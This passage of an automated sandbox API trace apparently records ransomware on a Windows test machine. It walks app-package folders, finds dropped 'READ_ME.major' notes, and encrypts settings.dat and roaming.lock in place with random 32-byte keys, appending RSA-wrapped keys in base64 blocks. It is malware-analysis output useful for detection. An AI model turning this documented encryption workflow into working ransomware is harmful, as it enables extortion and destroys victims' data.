ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.568] SetLastError (dwErrCode=0x0) [0205.568] GetLastError () returned 0x0 [0205.568] SetLastError (dwErrCode=0x0) [0205.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0205.568] SetLastError (dwErrCode=0x0) [0205.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f603a0 [0205.568] FindNextFileW (in: hFindFile=0x2f2ff98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf2306679, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0205.568] FindNextFileW (in: hFindFile=0x2f2ff98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf2306679, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0205.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6650e8 [0205.568] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2f918 [0205.568] FindNextFileW (in: hFindFile=0x2f2f918, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.568] FindNextFileW (in: hFindFile=0x2f2f918, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.568] FindNextFileW (in: hFindFile=0x2f2f918, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0205.569] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fb58 [0205.569] FindNextFileW (in: hFindFile=0x2f2fb58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.569] FindNextFileW (in: hFindFile=0x2f2fb58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.569] FindNextFileW (in: hFindFile=0x2f2fb58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.569] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0205.569] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf20f05a0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fd98 [0205.569] FindNextFileW (in: hFindFile=0x2f2fd98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf20f05a0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.569] FindNextFileW (in: hFindFile=0x2f2fd98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.569] FindNextFileW (in: hFindFile=0x2f2fd98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668fb0 [0205.570] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf20f05a0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2f958 [0205.570] FindNextFileW (in: hFindFile=0x2f2f958, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf20f05a0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.570] FindNextFileW (in: hFindFile=0x2f2f958, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.570] FindNextFileW (in: hFindFile=0x2f2f958, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664918 [0205.570] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ff58 [0205.570] FindNextFileW (in: hFindFile=0x2f2ff58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.571] FindNextFileW (in: hFindFile=0x2f2ff58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31836f56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31836f56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.571] FindNextFileW (in: hFindFile=0x2f2ff58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf213ca5b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0205.571] FindNextFileW (in: hFindFile=0x2f2ff58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0205.571] FindNextFileW (in: hFindFile=0x2f2ff58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0205.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6689c8 [0205.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60558 [0205.571] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.571] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0205.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669598 [0205.571] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0205.571] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13d4 [0205.572] GetFileSizeEx (in: hFile=0x13d4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0205.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f958e0 [0205.572] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f998f0 [0205.572] ReadFile (in: hFile=0x13d4, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.601] SetFilePointer (in: hFile=0x13d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.601] WriteFile (in: hFile=0x13d4, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.621] SetFilePointer (in: hFile=0x13d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0205.621] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.621] WriteFile (in: hFile=0x13d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.621] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.621] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.621] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.622] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.622] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TnhlSaq440WGciT6i+rl8hZ1bnLL1uwItRl0BzosGazl8FFPnnFq3bNTLK1esjIb\nfCAV15UaFSaM6EKmgZKlfbipKdy9+eYdgJd0LzAMgcaUvzivOwjBET8xCqnL2EzQ\njMo467mT66OhsrYBfdvblg9WjFMFN81CF1iUtOJ8DVSQ68FsXKheTrvCBOLOkTvW\nFp3y8J8h57QdvP8so6wnCTR8/gx2f1cwfz95ZhsXlgp4wBApvY2cwcB6mJv9goL2\n2p3klcUVatJuTCZoKj3DEERsxIZCMA+GzAVIpaXNL9n7cZWF+s/t3fOJxGSO3n1h\nBapR1xhoRJd64Xd3TzVZFQ==\n", pcchString=0x2e3f9a8) returned 1 [0205.622] WriteFile (in: hFile=0x13d4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.622] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.622] WriteFile (in: hFile=0x13d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.622] CloseHandle (hObject=0x13d4) returned 1 [0205.625] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.625] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0205.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668e00 [0205.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0205.625] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13d4 [0205.626] GetFileSizeEx (in: hFile=0x13d4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0205.626] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0205.626] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0205.626] ReadFile (in: hFile=0x13d4, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.626] SetFilePointer (in: hFile=0x13d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.626] WriteFile (in: hFile=0x13d4, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.626] SetFilePointer (in: hFile=0x13d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0205.626] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.626] WriteFile (in: hFile=0x13d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.627] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.627] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.628] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.628] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="R8wfy26zIhhrjITzy4xu6aYIkq4QZxwjnNQfRc/yLNT4lC8+RuyrJwMNYuKxMft3\nLo2St9NwxZzTvXJiO+s/cV0cBIaqPs3MmGV1A7XmwgJPUizprMgUC/ZG1P+ZzhLQ\ntvQ5H943UM0BrN9yUgQHiqD/WJvinKfZbtVpJqGc0S3vSPy5qS8xcc4D4bFe9clV\nCpAQyxsK8LCcHcxcvuOiF8c6Rtei5iTnx2GzIYZNzpamyBnxyEmJxT0lDcmYlSiJ\n5VvwSm6idEBHxym5AiUehn6XEwWuhu8VDritFUHMNVqMX2gILw0Uh4eQDDAbIsKl\n5gyxrOMh8Cm1O9rVd1rOqw==\n", pcchString=0x2e3f9a8) returned 1 [0205.628] WriteFile (in: hFile=0x13d4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.628] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.628] WriteFile (in: hFile=0x13d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.628] CloseHandle (hObject=0x13d4) returned 1 [0205.631] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fa98 [0205.631] FindNextFileW (in: hFindFile=0x2f2fa98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf213ca5b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf213ca5b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31836f56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.632] FindNextFileW (in: 